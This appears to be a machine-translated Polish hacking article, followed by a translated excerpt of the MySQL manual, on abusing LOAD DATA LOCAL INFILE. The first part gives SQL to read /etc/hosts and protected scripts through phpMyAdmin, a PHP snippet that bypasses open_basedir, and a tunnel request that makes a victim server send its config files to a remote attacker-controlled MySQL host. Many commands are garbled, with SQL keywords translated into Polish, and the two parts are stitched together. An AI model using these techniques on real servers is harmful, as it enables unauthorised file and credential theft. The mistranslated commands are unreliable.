Opisuję dość częstą sytuację. Podczas ostatniego testu uzyskano dostęp do phpMyAdmin na zdalnym hoście, ale nie można było uzyskać dostępu do plików za jego pośrednictwem. Wszystkiemu winna jest osławiona flaga FILE_PRIV=no w ustawieniach demona MySQL. Wielu w takiej sytuacji poddaje się i uważa, że plików na hoście nie da się już w ten sposób odczytać. Ale nie zawsze tak jest.
OSTRZEŻENIE
Wszystkie informacje są podane wyłącznie w celach informacyjnych. Ani redaktorzy, ani autor nie ponoszą odpowiedzialności za ewentualne szkody spowodowane przez materiały zawarte w tym artykule.
Preludium
Jeśli chodzi o interakcję MySQL DBMS z systemem plików, zwykle pamiętają:
- funkcja LOAD_FILE, która umożliwia odczyt plików na serwerze;
- konstrukcja SELECT ... INTO OUTFILE, której można użyć do tworzenia nowych plików.
W związku z tym, jeśli uzyskasz dostęp do phpMyAdmin lub dowolnego innego klienta na zdalnej maszynie, z dużym prawdopodobieństwem możesz dostać się do MySQL przez MySQL. system plików. Ale tylko wtedy, gdy flaga FILE_PRIV=yes jest ustawiona w ustawieniach demona, co nie zawsze ma miejsce. W tym przypadku musimy pamiętać o jeszcze jednym operatorze, znacznie mniej znanym, ale jednocześnie posiadającym dość rozbudowaną funkcjonalność. Mowa o instrukcji LOAD DATA INFILE, której funkcje zostaną omówione w tym artykule.
Interakcja między PHP i MySQL
PHP jest najczęściej używanym językiem do tworzenia aplikacji internetowych, dlatego warto przyjrzeć się bliżej jego interakcji z bazą danych.
W PHP4 biblioteki klienckie MySQL były domyślnie dołączone i zawarte w dystrybucji PHP, więc podczas instalacji można było tylko zrezygnować z używania MySQL, określając opcję
bez mysql.
PHP5 jest dostarczane bez biblioteki klienckiej. W systemach * nix PHP5 jest zwykle budowane z biblioteką libmysqlclient już zainstalowaną na serwerze, po prostu ustawiając opcję
With-mysql=/usr
podczas montażu. Jednocześnie, przed wersją 5.3, do interakcji z serwerem MySQL używana jest biblioteka klienta MySQL niskiego poziomu (libmysql), interfejs, który nie jest zoptymalizowany do komunikacji z aplikacjami PHP.
Natywny sterownik MySQL (mysqlnd) został opracowany dla PHP 5.3 i nowszych, a najnowsza wersja PHP 5.4 domyślnie używa tego sterownika. Chociaż wbudowany sterownik MySQL jest napisany jako rozszerzenie PHP, ważne jest, aby zrozumieć, że nie zapewnia on nowego interfejsu API dla programisty PHP. Interfejs API bazy danych MySQL dla programisty jest dostarczany przez rozszerzenia MySQL, mysqli i PDO_MYSQL. Te rozszerzenia mogą wykorzystywać wbudowany sterownik MySQL do komunikacji z demonem MySQL.
Korzystanie z wbudowanego sterownika MySQL ma pewne zalety w porównaniu z biblioteką klienta MySQL: na przykład nie trzeba instalować MySQL do budowania PHP ani używać skryptów współpracujących z bazą danych. Więcej dokładna informacja o MySQL Native Driver i jego różnicach w stosunku do libmysql można znaleźć w dokumentacji.
Rozszerzenia MySQL, mysqli i PDO_MYSQL można indywidualnie skonfigurować do używania libmysql lub mysqlnd. Na przykład, aby skonfigurować rozszerzenie MySQL do korzystania z biblioteki klienta MySQL i rozszerzenie mysqli do pracy z natywnym sterownikiem MySQL, należy określić następujące opcje:
`./configure --with-mysql=/usr/bin/mysql_config --with-mysqli=mysqlnd`
Składnia LOAD DATA
Instrukcja LOAD DATA, jak mówi dokumentacja, odczytuje wiersze z pliku i ładuje je do tabeli z bardzo dużą szybkością. Można go używać z słowo kluczowe LOKALNY (dostępny w MySQL 3.22.6 i nowszych), który określa miejsce, z którego zostaną załadowane dane. Jeśli nie ma słowa LOKALNY, serwer ładuje określony plik do tabeli z jego maszyna lokalna, a nie z maszyny klienta. Oznacza to, że plik nie zostanie odczytany przez klienta MySQL, ale przez serwer MySQL. Ale ta operacja znowu wymaga uprawnienia FILE (flaga FILE_PRIV=yes). Wykonanie instrukcji w tym przypadku można porównać do użycia funkcji LOAD_FILE - z tą różnicą, że dane są ładowane do tabeli, a nie wyświetlane. Dlatego użycie LOAD DATA INFILE do odczytu plików ma sens tylko wtedy, gdy funkcja LOAD_FILE jest niedostępna, czyli na bardzo starych wersjach serwera MySQL.
Ale jeśli instrukcja zostanie użyta w takiej postaci: LOAD DATA LOCAL INFILE , czyli z użyciem słowa LOCAL, to plik jest już odczytywany przez program kliencki (na maszynie klienta) i wysyłany do serwera, na którym znajduje się baza danych. Jednocześnie uprawnienie FILE nie jest oczywiście potrzebne do dostępu do plików (ponieważ wszystko dzieje się na komputerze klienta).
Rozszerzenia MySQL/mysqli/PDO_MySQL i instrukcja LOAD DATA LOCAL
W rozszerzeniu MySQL możliwość używania LOCAL jest kontrolowana przez dyrektywę PHP_INI_SYSTEM mysql.allow_local_infile. Domyślnie ta dyrektywa ma wartość 1, a zatem potrzebny nam operator jest zazwyczaj dostępny. Ponadto funkcja mysql_connect pozwala włączyć użycie LOAD DATA LOCAL, jeśli piątym argumentem jest stała 128.
Gdy do połączenia z bazą danych wykorzystywane jest rozszerzenie PDO_MySQL, możemy również włączyć obsługę LOKALNĄ za pomocą stałej PDO::MYSQL_ATTR_LOCAL_INFILE (integer)
$pdo = new PDO("mysql:host=localhost;dbname=mydb", "user", "pass", array(PDO::MYSQL_ATTR_LOCAL_INFILE => 1));
Jednak największe możliwości pracy z instrukcją LOAD DATA daje rozszerzenie mysqli. To rozszerzenie zapewnia również dyrektywę PHP_INI_SYSTEM mysqli.allow_local_infile, która reguluje użycie LOCAL.
Jeśli połączenie jest nawiązywane przez mysqli_real_connect, to za pomocą mysqli_options możemy zarówno włączyć, jak i wyłączyć obsługę LOKALNĄ. Ponadto w tym rozszerzeniu dostępna jest funkcja mysqli_set_local_infile_handler, która umożliwia zarejestrowanie funkcji zwrotnej do obsługi zawartości plików odczytywanych instrukcją LOAD DATA LOCAL INFILE.
Czytanie plików
Uważny czytelnik już zapewne domyślił się, że jeśli mamy konto w phpMyAdmin, to będziemy mogli czytać dowolne pliki bez posiadania uprawnienia PLIK, a nawet ominąć ograniczenia open_basedir. W końcu bardzo często zarówno klient (w tym przypadku phpMyAdmin), jak i demon MySQL znajdują się na tej samej maszynie. Pomimo ograniczeń polityki bezpieczeństwa Serwery MySQL, możemy skorzystać z faktu, że ta polityka nie dotyczy klienta, a mimo to odczytywać pliki z systemu, wpychając je do bazy danych.
Algorytm jest prosty. Wystarczy wykonać następujące zapytania SQL:
- Tworzymy tabelę, w której zapiszemy zawartość plików: CREATE TABLE temp(content text);
- Wyślij zawartość pliku do utworzonej tabeli: LOAD DATA LOCAL INFILE "/etc/hosts" INTO TABLE temp FIELDS TERMINATED BY "eof" ESCAPED BY "" LINES TERMINATED BY "eof";
Voila. Zawartość pliku /etc/hosts znajduje się teraz w tabeli tymczasowej. Chcesz czytać pliki binarne? Bez problemu. Jeśli w pierwszym kroku utworzymy taką tabelę:
CREATE TABLE "bin" ("bin" BLOB NOT NULL) ENGINE = MYISAM;
wtedy będzie można załadować do niego pliki binarne. To prawda, że dodatkowe bity zostaną dodane na końcu plików, ale można je usunąć w dowolnym edytorze szesnastkowym. W ten sposób możesz pobierać skrypty chronione przez IonCube/Zend/TrueCrypt/NuSphere z serwera i dekodować je.
Innym przykładem wykorzystania LOAD DATA LOCAL INFILE jest znalezienie ścieżki do konfiguracji Apache. Odbywa się to w następujący sposób:
- Najpierw znajdujemy ścieżkę do pliku binarnego, w tym celu czytamy /proc/self/cmdline, jak opisano powyżej.
- A potem czytamy bezpośrednio plik binarny, w którym szukamy HTTPD_ROOT/SERVER_CONFIG_FILE.
Oczywiste jest, że w tej sytuacji skrypty phpMyAdmin pełnią rolę klienta do łączenia się z bazą danych. Zamiast phpMyAdmin możesz użyć dowolnego innego interfejsu internetowego do pracy z MySQL.
Na przykład możesz użyć skryptów do tworzenia kopii zapasowych i przywracania bazy danych. W 2007 roku francuski haker o nazwie acidroot opublikował exploita opartego na tej uwadze i umożliwiającego odczytywanie plików z panelu administracyjnego phpBB.<= 2.0.22.
Tunel jest wygodny. Tunel niebezpieczny
Podczas instalowania złożonych aplikacji internetowych często wymagany jest bezpośredni dostęp do bazy danych, np. w celu wstępnej konfiguracji i dostosowania skryptów. Dlatego w niektórych przypadkach wskazane jest zainstalowanie prostego skryptu na serwerze - tak zwanego MySQL Tunnel, który umożliwia odpytywanie bazy danych za pomocą wygodnego klienta zamiast ciężkiego phpMyAdmina.
Istnieje sporo tuneli do pracy z bazą danych, ale wszystkie z nich nie są zbyt powszechne. Być może jednym z najbardziej znanych jest Macromedia Dream Weaver Server Scripts. Możesz zobaczyć kod źródłowy tego skryptu.
Główną różnicą między MySQL Tunnel a phpMyAdmin jest konieczność podania nie tylko loginu i hasła z bazy danych, ale także hosta, z którym chcemy się połączyć. Jednocześnie tunele często pozostają aktywne, no cóż, na wszelki wypadek nigdy nie wiadomo, co jeszcze trzeba dostosować. Wygląda na to, że możesz z nich korzystać tylko wtedy, gdy masz konto w bazie - to po co się bać? Krótko mówiąc, wydaje się, że tunel nie stanowi szczególnego zagrożenia dla bezpieczeństwa serwera WWW. Ale w rzeczywistości nie wszystko jest tak dobre, jak się wydaje na pierwszy rzut oka.
Rozważ następującą sytuację. Niech serwer A ma witrynę site.com z ustalonym tunelem http://site.com/_mmServerScripts/MMHTTPDB.php. Załóżmy, że na serwerze A można użyć LOAD DATA LOCAL (jak omówiono powyżej, jest to np. możliwe przy ustawieniach domyślnych). W takim przypadku możemy wziąć zdalny serwer MySQL, którego bazy danych są dozwolone z dowolnego miejsca i który umożliwia również korzystanie z LOKALNEGO, i połączyć się z tym serwerem za pomocą tunelu. Dane do połączenia ze zdalnym serwerem MySQL:
Host DB: xx.xx.xx.xxx Nazwa DB: name_remote_db Użytkownik DB: nasz_użytkownik Przepustka DB: nasz_przepustka
W tej sytuacji serwer A będzie pełnił rolę klienta, a zatem możemy przesyłać pliki z jego hosta do zdalnej bazy danych, czyli inaczej odczytywać pliki. Z następującą prostą prośbą:
Type=MYSQL&Timeout=100&Host=xx.xx.xx.xxx&Database=name_remote_db&UserName=our_user&Password=our_pass&opCode=ExecuteSQL&SQL=LOAD DATA LOCAL INFILE /path/to/script/setup_options.php" INTO TABLE tmp_tbl POLA ZAKOŃCZONE PRZEZ "__eof__" ESCAPED BY "" LINIE ZAKOŃCZONE PRZEZ „__eof__”
W rzeczywistości luka ta jest bardziej niebezpieczna niż zwykły odczyt plików: umożliwia odczyt plików konfiguracyjnych skryptów zainstalowanych na serwerze A. Poprzez ten sam tunel można uzyskać bezpośredni dostęp do bazy danych, która zarządza tymi skryptami. Opisana powyżej technika korzystania z tuneli mięśniowych może być nieco uogólniona i stosowana podczas wykorzystywania luk w zabezpieczeniach związanych z unserializacją.
klient-serwer
Aby lepiej zrozumieć możliwości LOAD DATA należy pamiętać, że MySQL DBMS wykorzystuje tradycyjną architekturę klient-serwer. Pracując z MySQL, właściwie pracujemy z dwoma programami:
- program serwera bazy danych znajdujący się na komputerze, na którym przechowywana jest baza danych. Demon mysqld nasłuchuje żądań klientów przez sieć i uzyskuje dostęp do zawartości bazy danych, dostarczając informacji żądanych przez klientów. Jeśli mysqld zostanie uruchomiony z --local-infile=0, to LOCAL nie będzie działać;
- program kliencki łączy się z serwerem i wysyła żądania do serwera. Dystrybucja MySQL DBMS obejmuje kilka programów klienckich: klienta konsoli MySQL (najczęściej używany), a także mysqldump, mysqladmin, mysqlshow, mysqlimport i tak dalej. A jeśli to konieczne, możesz nawet stworzyć własny program kliencki w oparciu o standardową bibliotekę kliencką libmysql, która jest dostarczana z MySQL DBMS.
Jeśli użycie standardowego klienta MySQL nie powiedzie się przy użyciu instrukcji LOAD DATA LOCAL, należy użyć przełącznika --local-infile:
Mysql --local-infile sampdb mysql> ZAŁADUJ DANE LOKALNY PLIK „member.txt” INTO TABLE Member;
Lub określ opcję dla klienta w pliku /my.cnf:
plik_lokalny=1
Należy zauważyć, że domyślnie wszystkie klienty i biblioteki MySQL są kompilowane z opcją --enable-local-infile, aby zapewnić kompatybilność z MySQL 3.23.48 i starszymi, więc opcja LOAD DATA LOCAL jest zwykle dostępna dla standardowych klientów. Jednak polecenia do serwera MySQL są wysyłane głównie nie z konsoli, a ze skryptów, więc języki webowe mają również klientów do pracy z bazą danych, które mogą różnić się funkcjonalnością od standardowego klienta MySQL.
Oczywiście ta funkcja instrukcji LOAD DATA może stanowić zagrożenie dla bezpieczeństwa systemu, dlatego począwszy od MySQL 3.23.49 i MySQL 4.0.2 (4.0.13 w systemie Windows) opcja LOCAL będzie działać tylko wtedy, gdy zarówno klient, jak i serwer pozwól na to.
Omiń ograniczenia open_basedir
Używanie LOAD DATA dość często pozwala ominąć ograniczenia open_basedir. Może to być przydatne, jeśli na przykład mamy dostęp do współdzielonego katalogu hostingowego jednego użytkownika, ale chcemy czytać skrypty z katalogu domowego innego użytkownika. Następnie instalując ten skrypt
1)); $e=$pdo->exec("ZAŁADUJ LOKALNY PLIK DANYCH "./ścieżka/do/pliku" DO TABELI POLA testowe ZAKOŃCZONE PRZEZ "__eof__" ESCAPED BY "" LINIE ZAKOŃCZONE PRZEZ "__eof__""); $pdo = null; ?>
Wniosek
Ciekawe, że opisana możliwość operatora LOAD DATA jest znana od co najmniej dziesięciu lat. Wzmiankę o tym można znaleźć na przykład w zgłoszeniu [#15408] (Safe Mode / MySQL Vuln 2002-02-06), a następnie podobne pytania wielokrotnie pojawiały się na bugs.php.net [#21356] [#23779 ] [#28632 ] [#31261] [#31711]. Na co twórcy odpowiedzieli dosłownie w następujący sposób:
[e-mail chroniony] To nie jest błąd, to jest funkcja :)
Lub przypisany bilet „Status: nie naprawi”. Albo ograniczono się do łatek, które prawie nic nie rozwiązały. Znów pojawiły się bilety na ten temat. Dlatego określona metoda omijania open_basedir nadal działa na dość dużej liczbie serwerów. Jednak wraz z pojawieniem się nowego sterownika mysqlnd wydaje się, że podjęto decyzję o wprowadzeniu znaczących zmian: przy ustawieniach domyślnych ta instrukcja nie będzie już w ogóle wykonywana [#54158] [#55737]. Miejmy nadzieję, że w niedalekiej przyszłości twórcy uporządkują sprawę w tej kwestii.
ZAŁADUJ PLIK DANYCH „nazwa_pliku.txt” DO TABELI nazwa_tabeli [ ENCLOSED BY „”] ] [(nazwa_kolumny,...)]Polecenie LOAD DATA INFILE odczytuje wiersze z pliku tekstowego i wstawia je do tabeli z bardzo dużą szybkością. Jeśli określono słowo kluczowe LOCAL, plik jest odczytywany z hosta klienta. Jeśli nie określono opcji LOCAL, plik musi znajdować się na serwerze. (Opcja LOKALNA jest dostępna w MySQL w wersji 3.22.6 i nowszych.)
Jeżeli pliki tekstowe do odczytu znajdują się na serwerze, to ze względów bezpieczeństwa pliki te muszą albo znajdować się w katalogu bazy danych, albo być dostępne do odczytu dla wszystkich użytkowników. Ponadto, aby użyć polecenia LOAD DATA INFILE na plikach serwera, należy mieć uprawnienia do pliku na hoście serwera. Zobacz sekcję 4.2.7 Uprawnienia nadawane przez MySQL .
W MySQL 3.23.49 i MySQL 4.0.2 polecenie LOCAL nie będzie działać, jeśli demon mysqld zostanie uruchomiony z --local-infile=0 lub jeśli klient nie ma włączonej obsługi LOKALNEJ. Patrz rozdział 4.2.4 Kwestie bezpieczeństwa związane z poleceniem LOAD DATA LOCAL.
Jeśli określono słowo kluczowe LOW_PRIORITY, wykonanie tego polecenia LOAD DATA zostanie opóźnione, dopóki inni klienci nie zakończą czytania tej tabeli.
Jeśli podczas pracy z tabelami MyISAM zostanie określone słowo kluczowe CONCURRENT, wówczas inne wątki mogą pobierać dane z tabeli podczas wykonywania polecenia LOAD DATA. Korzystanie z tej funkcji będzie miało oczywiście niewielki wpływ na wydajność LOAD DATA , nawet jeśli żaden inny wątek nie korzysta z tabeli w tym samym czasie.
W przypadku korzystania z opcji LOKALNE wykonanie może być nieco wolniejsze niż umożliwienie serwerowi bezpośredniego dostępu do plików, ponieważ zawartość pliku musi zostać przeniesiona z hosta klienta na serwer. Z drugiej strony, w tym przypadku nie ma potrzeby posiadania uprawnień PLIK do ładowania plików lokalnych.
Jeśli używasz wersji MySQL wcześniejszych niż 3.23.24, nie możesz czytać z FIFO za pomocą polecenia LOAD DATA INFILE. Jeśli konieczne jest odczytanie z FIFO (na przykład ze standardowego wyjścia gunzip), należy użyć LOAD DATA LOCAL INFILE.
Możesz także ładować pliki danych za pomocą narzędzia mysqlimport. To narzędzie ładuje pliki, wysyłając do serwera polecenia LOAD DATA INFILE. Opcja --local powoduje, że mysqlimport odczytuje pliki danych z hosta klienta. Możesz określić opcję --compress, aby uzyskać lepszą wydajność w wolnych sieciach, jeśli zarówno klient, jak i serwer obsługują protokół kompresji danych.
W przypadkach, gdy pliki znajdują się na serwerze, ten ostatni postępuje według następujących zasad:
- Jeśli podana jest bezwzględna (pełna) ścieżka do pliku, to serwer używa tej ścieżki bez modyfikacji.
- Jeśli określona zostanie względna ścieżka do pliku, określająca jeden lub więcej katalogów domowych, wówczas wyszukiwanie pliku będzie dotyczyć określonych katalogów w katalogu danych serwera (datadir).
- Jeśli ścieżka do pliku zostanie podana bez podania katalogów domowych, to serwer szuka pliku w katalogu używanej bazy danych.
Wynika z tego, że plik określony jako `./myfile.txt" jest odczytywany z katalogu danych serwera, podczas gdy plik określony jako `myfile.txt" jest odczytywany z używanego katalogu bazy danych. Na przykład następująca komenda LOAD DATA odczytuje plik data.txt w katalogu bazy danych db1, ponieważ db1 jest bieżącą bazą danych, mimo że komenda jawnie nakazuje jej załadowanie pliku do tabeli bazy danych db2:
MySQL> UŻYJ db1; mysql> ZAŁADUJ PLIK DANYCH „data.txt” DO TABELI db2.my_table;
Słowa kluczowe REPLACE i IGNORE sterują przetwarzaniem rekordów wejściowych, które powielają istniejące rekordy z tymi samymi unikatowymi wartościami kluczy. Jeśli określono REPLACE, nowe wiersze zastąpią istniejące wiersze z tym samym unikatowym kluczem. Jeśli określisz IGNORE , wówczas wiersze wejściowe, które mają taki sam unikalny klucz jak istniejące, zostaną zignorowane. Jeśli żaden parametr nie zostanie określony, wystąpi błąd, gdy zostanie zduplikowana wartość klucza, a reszta pliku tekstowego zostanie zignorowana.
Jeśli dane są ładowane z pliku lokalnego przy użyciu słowa kluczowego LOCAL, serwer nie będzie mógł przerwać przesyłania danych w trakcie tej operacji, więc domyślne zachowanie polecenia jest takie samo, jak w przypadku określenia IGNORE.
Podczas używania LOAD DATA INFILE na pustych tabelach MyISAM, wszystkie nieunikatowe indeksy są tworzone w osobnym pakiecie (jak w REPAIR). Zwykle znacznie przyspiesza to operację LOAD DATA INFILE w przypadku dużej liczby indeksów.
Polecenie LOAD DATA INFILE jest uzupełnieniem polecenia SELECT ... INTO OUTFILE . Patrz rozdział 6.4.1 Składnia instrukcji SELECT. Aby zapisać dane z bazy danych do pliku, użyj SELECT ... INTO OUTFILE . Aby wczytać dane z powrotem do bazy danych, używany jest LOAD DATA INFILE. Składnia pól i wierszy jest taka sama w obu poleceniach. Obie części są opcjonalne, ale jeśli obie są określone, wtedy POLA muszą poprzedzać LINIE .
Jeśli określono POLA, to każde z jego podwyrażeń (TERMINATED BY , ENCLOSED BY i ESCAPED BY ) jest również opcjonalne, ale przynajmniej jedno z nich musi zostać określone.
Jeśli asercja FIELDS nie jest zdefiniowana, to domyślnie jej parametry przyjmą następujące wartości:
POLA ZAKOŃCZONE PRZEZ „\t” OBJĘTE PRZEZ „” Z ESCAPED BY „\\”
Jeśli klauzula LINES nie jest zdefiniowana, to domyślnie ma następującą strukturę:
LINIE ZAKOŃCZONE PRZEZ „\n”
Innymi słowy, przy ustawieniach domyślnych, polecenie LOAD DATA INFILE podczas odczytu danych wejściowych będzie działać w następujący sposób:
- Szukaj zakończeń linii jako znaków `\n'
- Podziel wiersze na pola za pomocą znaków tabulacji.
- Nie oczekuj, że pola będą ujęte w cudzysłowy.
- Interpretuj występowanie tabulatorów, znaków nowej linii lub `\" poprzedzonego `\" jako literałów, które są częścią wartości pola.
I odwrotnie, jeśli obowiązują domyślne ustawienia zapisu danych wyjściowych, polecenie SELECT ... INTO OUTFILE będzie działać w następujący sposób:
- Wstaw znaki tabulacji między polami.
- Nie umieszczaj pól w cudzysłowach. Użyj znaków `\", aby uniknąć wystąpień tabulacji, nowej linii lub `\", które pojawiają się wśród wartości pól.
- Wstaw znaki nowej linii na końcu każdego wpisu.
Zauważ, że pozycja FIELDS ESCAPED BY `\" wymaga dwóch ukośników odwrotnych, aby wartość została odczytana jako pojedynczy ukośnik odwrotny.
Opcja IGNORUJ numer LINIE może być użyta do zignorowania nagłówka nazw kolumn na początku pliku:
Mysql> ZAŁADUJ PLIK DANYCH „/ tmp / nazwa_pliku” DO TABELI test IGNORUJ 1 LINIE;
W przypadku użycia polecenia SELECT ... INTO OUTFILE z poleceniem LOAD DATA INFILE w celu odczytania danych z bazy danych do pliku, a następnie z pliku do bazy danych, opcje przetwarzania pól i wierszy dla obu poleceń muszą być takie same. W przeciwnym razie LOAD DATA INFILE nie będzie w stanie poprawnie zinterpretować zawartości tego pliku. Załóżmy, że polecenie SELECT ... INTO OUTFILE służy do zapisu do pliku z polami oddzielonymi przecinkami:
Mysql> SELECT * INTO OUTFILE "data.txt" POLA ZAKOŃCZONE PRZEZ "," FROM ...;
Mysql> ZAŁADUJ PLIK DANYCH „data.txt” DO TABELI table2 POLA ZAKOŃCZONE PRZEZ ",";
Mysql> ZAŁADUJ PLIK DANYCH „data.txt” DO TABELI table2 POLA ZAKOŃCZONE PRZEZ „\ t”;
Podobny wynik uzyskano by, gdyby każdy wiersz wejściowy był interpretowany jako osobne pole.
Polecenia LOAD DATA INFILE można również użyć do odczytu plików ze źródeł zewnętrznych. Na przykład pola w pliku formatu bazy danych dBASE będą oddzielone przecinkami i ujęte w podwójne cudzysłowy. Jeśli wiersze w tym pliku kończą się znakami nowej linii, do zapisania pliku można użyć następującego polecenia, które ilustruje ustawienia opcji przetwarzania pól i wierszy:
Mysql> ZAŁADUJ PLIK DANYCH „data.txt” DO TABELI tbl_name FIELDS TERMINATED BY "," ENCLOSED BY """ LINIE ZAKOŃCZONE PRZEZ "\n";
Każda z opcji obsługujących pola i linie może być pustym łańcuchem („”). Jeśli napis nie jest pusty, to wartości opcji FIELDS ENCLOSED BY i FIELDS ESCAPED BY muszą zawierać jeden znak. Wartości opcji FIELDS TERMINATED BY i LINES TERMINATED BY mogą zawierać więcej niż jeden znak. Na przykład, aby zapisać wiersze kończące się parami ``powrót karetki - wysunięcie wiersza'' (jak w plikach tekstowych MS DOS lub Windows), należy podać następujące wyrażenie: LINES TERMINATED BY "\r\n" .
CREATE TABLE żarty (INT NIE NULL AUTO_INCREMENT PRIMARY KEY, TEKST żartu NIE NULL); ZAŁADUJ PLIK DANYCH "/tmp/jokes.txt" DO TABELI jokes POLA ZAKOŃCZONE PRZEZ ""; LINIE ZAKOŃCZONE PRZEZ „\n%%\n” (żart);
Opcja POLA ZAŁĄCZONE PRZEZ kontroluje pola, które są ujęte w podane znaki. Jeśli parametr OPCJONALNIE zostanie pominięty, to na wyjściu (SELECT ... INTO OUTFILE) wszystkie pola zostaną ujęte w znaki określone w ENCLOSED BY . Przykład takiego wyjścia (w którym separatorem pól jest przecinek) pokazano poniżej:
"1","ciąg znaków","100,20" "2","ciąg znaków zawierający , przecinek","102,20" "3","ciąg znaków zawierający \" cytat","102,20" "4"," ciąg zawierający \", cudzysłów i przecinek","102.20"
Jeżeli podano parametr OPCJONALNIE, to wybierane są tylko pola typu CHAR i VARCHAR ze znakiem określonym w ENCLOSED BY:
1,"ciąg znaków",100.20 2,"ciąg znaków zawierający , przecinek",102.20 3,"ciąg znaków zawierający \" cudzysłów",102,20 4,"ciąg znaków zawierający \", cudzysłów i przecinek",102,20
Należy pamiętać, że pojawienie się znaków ENCLOSED BY wewnątrz wartości pola jest poprzedzone zastosowaniem przedrostka ESCAPED BY. Należy również zauważyć, że jeśli ESCAPED BY ma wartość null, możliwe jest wygenerowanie danych wyjściowych, których instrukcja LOAD DATA INFILE nie może poprawnie odczytać. Na przykład, jeśli znak ucieczki jest pustym łańcuchem, powyższe dane wyjściowe będą takie, jak pokazano poniżej. Zauważ, że drugie pole w czwartym wierszu zawiera przecinek, po którym następuje cudzysłów, który (błędnie) wydaje się rozdzielać dane pole:
1,"ciąg znaków",100,20 2,"ciąg znaków zawierający , przecinek",102,20 3,"ciąg znaków zawierający "cytat",102,20 4,"ciąg znaków zawierający ", cudzysłów i przecinek",102,20
W przypadku wprowadzania znak ENCLOSED BY, jeśli występuje, jest usuwany z obu końców wartości pól. (Jest to prawdą niezależnie od tego, czy określono parametr OPCJONALNIE: parametr OPCJONALNIE jest ignorowany podczas pracy z danymi wejściowymi). Jeśli napotkany zostanie znak ENCLOSED BY poprzedzony znakiem ESCAPED BY, zostanie on zinterpretowany jako część bieżącej wartość. Ponadto podwójne znaki ENCLOSED BY występujące w polu są interpretowane jako pojedyncze znaki ENCLOSED BY, jeśli samo pole zaczyna się od tego znaku. Na przykład, jeśli określono ENCLOSED BY """, to cudzysłowy są obsługiwane w następujący sposób:
"DUŻY" szef" -> "DUŻY" szef "DUŻY" szef -> "DUŻY" szef ""DUŻY"" szef ""DUŻY"" szef
Opcja FIELDS ESCAPED BY steruje wpisywaniem lub odczytywaniem znaków specjalnych. Jeśli znak FIELDS ESCAPED BY nie jest pusty, jest używany jako przedrostek dla następujących znaków w danych wyjściowych:
- POLA Z UCIECZKĄ PRZEZ symbol
- POLA ZAMKNIĘTE PRZEZ symbol
- Pierwszy znak FIELDS TERMINATED BY i LINES TERMINATED BY
- Znak ASCII 0 (właściwie ASCII `0" jest zapisywane po znaku ucieczki, a nie po bajcie o wartości zerowej)
Jeśli znak FIELDS ESCAPED BY jest pusty, żadne znaki nie są zmieniane. Tak naprawdę nie ma sensu podawać pustego znaku ucieczki, zwłaszcza jeśli wartości pól w przetwarzanych danych zawierają którykolwiek ze znaków z powyższej listy.
Jeżeli znak FIELDS ESCAPED BY jest niepusty, to w przypadku wprowadzania, wystąpienia takiego znaku są usuwane, a znak następujący po takim wystąpieniu jest traktowany dosłownie jako część wartości pola. Wyjątkami są znaki ucieczki `0" lub `N" (np. \0 lub \N, jeśli znakiem ucieczki jest `\"). Te sekwencje są interpretowane jako ASCII 0 (bajt o wartości zero) i NULL . Zobacz zasady dla obsługa wartości pustej poniżej. .
Zobacz sekcję 6.1.1 Literały: reprezentujące łańcuchy i liczby, aby uzyskać więcej informacji na temat składni znaku ucieczki `\".
W niektórych przypadkach opcje przetwarzania pól i wierszy wchodzą w interakcje:
- Jeśli LINES TERMINATED BY jest łańcuchem pustym, a FIELDS TERMINATED BY jest łańcuchem niepustym, to wiersze również kończą się na FIELDS TERMINATED BY .
- Jeśli zarówno POLA ZAKOŃCZONE PRZEZ, jak i POLA ZAŁĄCZONE PRZEZ są puste (""), używany jest stały format ciągu znaków (bez ograniczników). Stały format ciągu nie zawiera żadnych separatorów między polami. Zamiast tego, podczas odczytywania i zapisywania wartości kolumn, używana jest szerokość kolumn ``wyjściowa". Na przykład, jeśli kolumna jest zadeklarowana jako INT(7) , wartości dla tej kolumny są zapisywane przy użyciu pól o szerokości 7 znaków. Wartości wejściowe dla tej kolumny uzyskuje się poprzez odczytanie 7 znaków. Stały format ciągu wpływa również na obsługę wartości NULL (patrz poniżej). Należy pamiętać, że format o stałym rozmiarze nie będzie działał w przypadku używania zestawu znaków wielobajtowych.
Wartości NULL będą obsługiwane inaczej w zależności od użytych opcji POLA i LINIE:
- Dla domyślnych wartości FIELDS i LINES, NULL jest zapisywane jako \N na wyjściu, a \N jest odczytywane jako NULL na wejściu (zakładając, że znakiem ESCAPED BY jest `\").
- Jeśli FIELDS ENCLOSED BY nie jest puste, to pole, którego wartością jest słowo składające się z liter NULL, jest odczytywane jako wartość NULL (w przeciwieństwie do słowa NULL zawartego między FIELDS ENCLOSED BY, które jest odczytywane jako ciąg „ NULL ”).
- Jeśli FIELDS ESCAPED BY jest puste, NULL jest zapisywane jako słowo NULL.
- W formacie stałego ciągu znaków (który występuje, gdy oba specyfikatory FIELDS ZAKOŃCZONE BY i FIELDS ENCLOSED BY są puste), NULL jest zapisywane jako pusty ciąg. Zauważ, że w rezultacie wartość NULL i pusty łańcuch w tej tabeli będą nie do odróżnienia podczas zapisywania w pliku, ponieważ oba są zapisywane jako puste łańcuchy. Jeśli chcesz, aby te wartości były inne, gdy plik jest odczytywany z powrotem, nie powinieneś używać stałego formatu ciągu.
Niektóre przypadki nieobsługiwane przez instrukcję LOAD DATA INFILE:
- Wiersze o stałym rozmiarze (oba pola FIELDS TERMINATED BY i FIELDS ENCLOSED BY są puste) oraz kolumny BLOB lub TEXT.
- Jeśli określony zostanie ogranicznik, który pasuje do innego lub jest przedrostkiem innego, to LOAD DATA INFILE nie będzie w stanie poprawnie zinterpretować danych wejściowych. Na przykład następująca instrukcja FIELDS spowoduje problemy: FIELDS TERMINATED BY """ ENCLOSED BY """
- Jeżeli opcja FIELDS ESCAPED BY jest pusta, to wystąpienie w wartości pola znaku FIELDS ENCLOSED BY lub LINES TERMINATED BY, po którym następuje znak FIELDS TERMINATED BY, spowoduje przedwczesne zakończenie odczytu pola lub wiersza przez polecenie LOAD DATA INFILE. Dzieje się tak, ponieważ polecenie LOAD DATA INFILE nie może poprawnie określić, gdzie kończy się pole lub linia.
Poniższy przykład ładuje wszystkie kolumny tabeli persondata:
Mysql> ZAŁADUJ PLIK DANYCH „persondata.txt” DO TABELI dane osobowe;
Lista pól nie jest określona, dlatego polecenie LOAD DATA INFILE oczekuje, że wiersze wejściowe wypełnią każdą kolumnę tabeli. Wykorzystuje to domyślne wartości POLA i LINIE.
Jeśli chcesz załadować tylko niektóre kolumny tabeli, musisz określić listę kolumn:
Mysql> ZAŁADUJ PLIK DANYCH „persondata.txt” DO TABELI dane osobowe (col1, col2,...);
